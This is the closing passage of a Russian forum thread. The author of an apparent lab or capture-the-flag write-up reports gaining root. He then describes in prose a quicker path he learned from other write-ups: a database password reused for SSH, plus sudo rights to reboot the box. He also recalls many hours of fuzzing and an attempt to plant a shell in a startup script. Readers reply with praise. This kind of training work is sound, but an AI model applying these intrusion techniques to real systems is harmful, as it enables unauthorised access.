1636018364600.png


Мы есть Root )


P.S. В целом получил огромное удовольствие от прохождения. Эта коробка стала для меня неким показателем собственного роста. Но пройдя ее, меня не покидала мысль, что решение не совсем верное. Почему? Так как я проходил ее используя виртуальную машину, то понятно, что уйти на перезапуск достаточно просто. Но я же понимаю как это работает у OffSec'ов. Там если ты сделал ребут, то коробка перезагружается с начала, а соответственно все мои правки сошли бы на нет.
Вообщем поразмышляв над этим, я решил посмотреть райтапы. И тут меня ждала новость. Как оказалось, пройти ее можно было очень быстро и решение по факту было перед моими глазами. Помните adminer? Тот менеджер БД.. Так вот когда мы авторизовываемся в нем, там лежат два юзера с правами админа и менеджера. Один с логином administrator, другой tre. А системный юзер tre у нас был. Так вот, уязвимость болле чем простая и встречается по сей день, а именно - Использование одного пароля, для разных сервисов. Как оказалось, пароль лежащий в базе подходил для доступа в SSH, а сам юзер имел sudo права на выполнения shutdown команды.
Соответственно введя shutdown -r мы бы перезапустили коробку без изменений))) Вот так вот. Но все же, я доволен что проходил ее более длинным путем. По факту мне удалось найти уязвимость не зная о ее существовании(Сброс пароля), а это как ни как показатель знаний, опыта и труда!

Конечо в райтапе не передать всего с чем пришлось столкнуться. Например фазинг. Его реально было много, очень много. Думаю часов 12+ наберется в сумме. Я реально сканил каждую директорию на предмет каталогов и файлов и это все миллионы строк запросов. А сколько раз я пытался впихнуть шелл в цикл при повышении... И реально бесился что нечего не выполнялось, пока не понял что скрипт запускается единожды при запуске)) Вообщем на прохождение этой коробки мне потребовался 1 месяц. Решал я ее в свободное время от курса WAPT, когда приходлось по несколько дней ждать перехода на следующую тему. Но за то мне удалось вникнуть в каждый процесс.

С Уважением
 

Вложения

  • reverse_shell.png
    reverse_shell.png
    209,5 КБ · Просмотры: 76
  • 1636017767900.png
    1636017767900.png
    24 КБ · Просмотры: 71

ripmandin

Red Team
13.03.2020
36
133
@Qulan , ты же просто красавчик! Отличная статья, здорово ты тачку расковырял. Методики брал из методички PWK или они сложились по итогу прохождения HTB и THM?
 

Qulan

Red Team
06.12.2020
140
382
@Qulan , ты же просто красавчик! Отличная статья, здорово ты тачку расковырял. Методики брал из методички PWK или они сложились по итогу прохождения HTB и THM?
Спасибо!
Все что использовалось, в основном, это THM. Но большая доля по фазингу от курса WAPT))) Там фазить научат...! (Доцент бы заставил)
Ну и конечно не большой практический опыт.
 
  • Нравится
Реакции: DragonFly

JIBRIL

Green Team
25.11.2018
53
60
Мне очень понравилась твоя статья, спасибо тебе за столь огромное количество строк.
 
  • Нравится
Реакции: Qulan

ex4ud1

One Level
17.04.2021
6
0
Великолепно! Очень хороший райтап, читается на одном дыхании и всё прекрасно расписано. Огромное спасибо)
 
Мы в соцсетях: